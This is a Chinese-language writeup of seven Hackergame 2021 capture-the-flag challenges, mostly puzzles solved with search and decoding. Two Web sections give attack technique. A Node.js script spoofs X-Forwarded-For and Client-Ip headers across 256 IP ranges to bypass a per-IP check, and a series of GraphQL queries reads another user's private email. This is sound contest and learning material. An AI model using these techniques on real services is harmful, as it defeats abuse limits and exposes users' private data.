前情提要

去年,参加完 Hackergame 的我,说了「下次还来」,那就大概率不会食言。所以这次我带着大概 900 分的垃圾成绩,来写 Writeup 了。

此次一共完成 7 题,3 题 Web 和 4 题 General,接下来就随便写写,写到哪是哪!

签到

本题题干如下:

为了能让大家顺利签到,命题组把每一秒的 flag 都记录下来制成了日记本的一页。你只需要打开日记,翻到 Hackergame 2021 比赛进行期间的任何一页就能得到 flag!

打开页面后,是一个「日记」界面,尝试翻页后发现,一页仅代表 1 毫秒。但是我们需要翻到的时间范围,必须在 2021-10-23 12:00:00 ~ 2021-10-30 12:00:00 之间。

SP24x6

同时观察 URL,其中有 page 字段,所以 page = millisecond,多次尝试更改此参数,将其落在 1634961600 ~ 1635566400 数字内就行。

QFqDB2

进制十六——参上

本题在题干中显示了如下图片:

lg3jem

肉眼可见,图片中打码的部分仅为 Hex 转换为文本的部分。通过 Hex 可以获取被打码的文本内容。

这里我们使用线上的 Hex 编辑器,重新输入被打码的 Hex 片段,即可获得 flag。

Z5y3eG

去吧!追寻自由的电波

本题在题干上的关键部分为:

... 使用了无线电中惯用的方法来区分 ...

... 录音的速度有所改变 ...

并且在下载的音频档中,能够了解上述所提及的两点。因此,我们仅需要一个支持慢速播放的播放器,或者音频编辑器。具体过程因软件而异,大家可自行尝试。

将音频以一定速度播放后,取每一单词的首字母(left bracket / right bracket 对应左/右大括号),拼接后即可得到 flag。

猫咪问答 Pro Max

此次的「问答」一点都不 Pro Max,毕竟去年没有解出来...

通过搜索引擎查找关键词,并逐题分析。分析难度可能会有差异,主要是工具上。这里主要使用 Duckduckgo,本地化搜索使用 Baidu。

问答1

2017 年,中科大信息安全俱乐部(SEC@USTC)并入中科大 Linux 用户协会(USTCLUG)。目前,信息安全俱乐部的域名(sec.ustc.edu.cn)已经无法访问,但你能找到信息安全俱乐部的社团章程在哪一天的会员代表大会上通过的吗?

通过问题得知,需要查找信息的域名无法直接访问,所以需要通过几个较大的网页备份平台,查找相关信息。

使用 Wayback Machine,我们输入需要查找的域名,点击查询后,可以继续点击查看其中已备份的快照。

HYSgAy

需要注意的是,该域名的根页面需要重定向到 doku.php,这里要等待跳转才能进入所备份的站点首页。

nZ8Kxx

在站点首页,可见一条链接跳转到「信息安全俱乐部社团章程」,点击后可在页面中查找到章程所通过的日期,最后将日期转换为问题备注中声明的格式即可。

BDOMzs

问答2

中国科学技术大学 Linux 用户协会在近五年多少次被评为校五星级社团?

通过问题,可在搜索引擎中根据关键字寻找相关页面,最后在中科大 Linux 用户协会 Wiki Intro 页,可看到具体获得五星评级的次数。

4MOduM

问答3

中国科学技术大学 Linux 用户协会位于西区图书馆的活动室门口的牌子上“LUG @ USTC”下方的小字是?

通过问题,可在搜索引擎中根据关键字寻找相关页面,最后在中科大 Linux 用户协会的一则新闻页中,可看到活动室门口的牌子小字。

CalVW9

问答4

在 SIGBOVIK 2021 的一篇关于二进制 Newcomb-Benford 定律的论文中,作者一共展示了多少个数据集对其理论结果进行验证?

通过问题,我们首先先在搜索引擎中进入 SIGBOVIK 的官方页面,再访问会议首页提供的 Proceedings 文件

dBtcSh

通过文件,我们再搜索关键字 Newcomb-Benford,找到相关论文。

PYDd1B

在论文描述中,可以看到作者通过图 2 ~ 图 14 所展示的数据集,对理论结果进行验证。

oshPup

问答5

不严格遵循协议规范的操作着实令人生厌,好在 IETF 于 2021 年成立了 Protocol Police 以监督并惩戒所有违背 RFC 文档的行为个体。假如你发现了某位同学可能违反了协议规范,根据 Protocol Police 相关文档中规定的举报方法,你应该将你的举报信发往何处?

通过问题,我们首先先在搜索引擎中搜寻 Protocol Police,进入结果条目中为 RFC 8962: Establishing the Protocol Police 的页面。

7lPj0P

在页面中,可以查找到 `` 标题,其内容中就提及了具体地址 / 位置。

WgfYhn

旅行照片

在题干中,可以通过文字和图片确定以下信息:

  • 位于:高楼中的酒店
  • 拍摄景:海边、沙滩、停车场、浅蓝外观 KFC

通过这些线索,尝试使用搜索引擎搜寻相关信息。这里最好使用 Baidu,并键入 蓝色KFC沙滩 等内容。

在搜索结果中拼凑与题目相关的内容,包括所处的沙滩名称、KFC 店铺信息、周边地点信息等,可以得出以下内容:

  • 这家 KFC 是 肯德基甜品站(新澳海底世界店),在大众点评中可获取该店的联系电话
  • 旁边是海豚馆及其停车场,通过照片比对得知建筑汉字为 海豚馆
  • 通过查看地图,可知拍摄者所处方位应为 东 / 东南
  • 根据上一条方位,和太阳东升西落的原理,大概得知拍摄时间应为 下午 / 傍晚

上面的内容能够大致分析出该题中大部分内容,楼层可通过锁定大致范围来进行提交试错。最后得到 flag。

FLAG 助力大红包

通过分析题目,确定需要通过邀请链接,并在有效时限内获得 1 个 flag。邀请链接传参包括 POST 表单的 ip 字段和请求本身所携带的 IP。必须两个字段相符且 /8 地址不得重复,才能成功完成一次助力。

在回应头中,我们得知 HTTP 服务器使用 nginx,那么突破口将是如何伪造请求本身携带的 IP。

在搜索引擎中尝试搜寻 nginx 请求 IP,可以获得有关如何伪造请求 IP 的方法,即通过在请求头中添加诸如 X-Real-IPX-Forwarded-For 字段。

接下来,可以通过 Postman 等 HTTP 请求测试工具尝试发送请求,确认此方法可行。

最后需要编写相关脚本,能够顺序、循环且可控制延时地发送 (0-255).X.X.X 的请求,编写的 Node.js 脚本如下:

const axios = require('axios')
const qs = require('qs')

const inviteLink = ''
const Cookie = ''

const queryFn = function (i) {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      axios({
        method: 'post',
        url: inviteLink,
        headers: {
          'Cookie': Cookie,
          'X-Forwarded-For': `${i}.1.1.1`,
          'Client-Ip': `${i}.1.1.1`
        },
        data: qs.stringify({
          ip: `${i}.1.1.1`
        })
      }).then(() => {
        console.log(`${i}.1.1.1`)
        resolve(`${i}.1.1.1`)
      }).catch(() => {
        console.log('err')
      })
    }, 1000)
  })
}

const asyncQuery = async function () {
  let res = []
  for (let i = 0; i <= 255; i++) {
    res[i] = await queryFn(i)
  }
}

asyncQuery()

图之上的信息

题目明显提示站点使用了 GraphQL 来进行 API fetch。在登录后,使用 Chrome Devtool,可以发现一条 /graphql 的请求。

分析请求,Query 格式如下所示:

query {
  notes(userId: 2) {
    id,
    contents
  }
}

在这个方向上,我们可以更换其中的字段。在 notes 中尝试爆破字段无果后,我们将焦点转到直接变换 notes 请求为 users 再试。

query {
  users(userId: 2) {
    id,
    contents
  }
}

接着根据以下报错调整 Query:

Cannot query field 'users' on type 'Query'. Did you mean 'user'?

将 users 变为 user 后再次尝试

Unknown argument 'userId' on field 'Query.user'.

无 userId 字段,变为 id 再次尝试

Cannot query field 'contents' on type 'GUser'.

GUser 类型中无法请求 contents 字段,去除后再次尝试

{"data":{"user":{"id":1}}}

说明 user 请求成功,继续在 user 请求中添加字段

如果所使用的 HTTP 请求测试工具支持 GraphQL,在字段添加时会有智能提示。这时可根据提示尝试 privateEmail 字段,并修改 id 参数为 1,就能查看到结果。

TxeBem

query {
  user(id: 1) {
    id,
    privateEmail
  }
}

{
  "data": {
    "user": {
      "id":1,
      "privateEmail":"flag{[email protected]}"
    }
  }
}

最后的废话

这次题目依旧令人脑秃,有一些题目知道大概的解题方向,可能因为手生了,最后还是没能拿分。

例如很多人解出来的「吃瓜」,大概知道是整数溢出,但数学计算实在不是长项...

再例如也有很多人解出来的「透明的文件」,隐约感觉它和 ANSI 有些关系,也很眼熟,但接下来就没有了...

完整题解和其他人的题解,都在 Github repo 上,感兴趣的可以研究动手看看。(目前官网依旧保留试题及其环境)